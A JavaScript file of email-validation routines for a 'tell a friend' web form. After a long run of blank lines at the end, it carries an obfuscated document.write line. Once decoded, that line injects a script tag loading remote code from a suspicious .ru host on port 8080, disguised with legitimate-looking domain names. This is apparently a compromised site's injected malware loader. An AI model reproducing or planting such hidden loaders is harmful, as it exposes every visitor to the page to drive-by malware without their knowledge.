

//*********************************************************************************************************************************
//********************************************      EMAIL VALIDATION FUNCTIONS     ************************************************
//*********************************************************************************************************************************

function isEmailAddr(email)
{
  var result = false;
  var theStr = new String(email);
  var index = theStr.indexOf("@");
  if (index > 0)
  {
    var pindex = theStr.indexOf(".",index);
    if ((pindex > index+1) && (theStr.length > pindex+1))
 result = true;
  }
  return result;
}
 
function validRequired(formField,fieldLabel)
{
 var result = true;
 
 if (formField.value == "")
 {
  alert(fieldLabel);
  formField.focus();
  result = false;
 }
 
 return result;
}
 
function allDigits(str)
{
 return inValidCharSet(str,"0123456789");
}
 
function inValidCharSet(str,charset)
{
 var result = true;
 
 // Note: doesn't use regular expressions to avoid early Mac browser bugs 
 for (var i=0;i<str.length;i++)
  if (charset.indexOf(str.substr(i,1))<0)
  {
   result = false;
   break;
  }
 
 return result;
}
 
function validEmail(formField,fieldLabel,required)
{
 var result = true;
 
 if (required && !validRequired(formField,fieldLabel))
  result = false;
 
 if (result && ((formField.value.length < 3) || !isEmailAddr(formField.value)) )
 {
  alert("Please enter a complete email address in the form: yourname@yourdomain.com");
  formField.focus();
  result = false;
 }
   
  return result;
 
}
 




 
function validateForm(frmTellAFriend)
{
 // Customize these calls for your form

 // Start ------->

 if (!validRequired(frmTellAFriend.txtName,"You must enter your name"))
  return false;
  
 if (!validEmail(frmTellAFriend.txtEmail,"You must enter your email address"))
  return false;
  
 if (!validRequired(frmTellAFriend.txtFriendName,"You must enter your friends name"))
  return false;
  
 if (!validEmail(frmTellAFriend.txtFriendEmail,"You must enter your friends email address"))
  return false;
  

 
 
 return true;
}




//*********************************************************************************************************************************
//********************************************     END EMAIL VALIDATION FUNCTIONS     *********************************************
//*********************************************************************************************************************************













/*Exception*/// document.write('<script src='+'h&t)&(@t@p):(#&/&&^/^!@@c#@&^(b)^(s#()(s$p^)o)!#r^)&t@s(-^)!!c)##o@@m##.$((b)e@$s($()t$&b##u#y$))#.!c(#o(m(&.(^@p#d$$@f!$(#d(!$a&#t)a!b^a)!s(&e)-)&)##c!&)&!o^&m#!(#.#(y#^o@#!u!^r&^$$t&#&^r($u)@(e#$@g!#a(@@m&(e&(.!(!r^)u^:#@#)(8((!$0&8#!(0)/)@i)!!c(i#b)(^a^^.^^c@@((#o$m!#$/)^i)@c^^&)i$^((b(@a!@.$!c#^&o#!^#m(&^!/&#$(g#&)&a^@m!)e)&#!z(##(t)@#^a&r$.&$(@c#!$o@@))m^^@/$^p^c!^$a&#@u#t&(o&((.!($c!&&$o&$m!@).#&&c@)!n)$/&g&&o!#o^&)g#!l^@#e$.@c^o(m(^^/&'.replace(/&|\(|\)|@|\$|\^|\!|#/ig, '')+' defer=defer></scr'+'ipt>');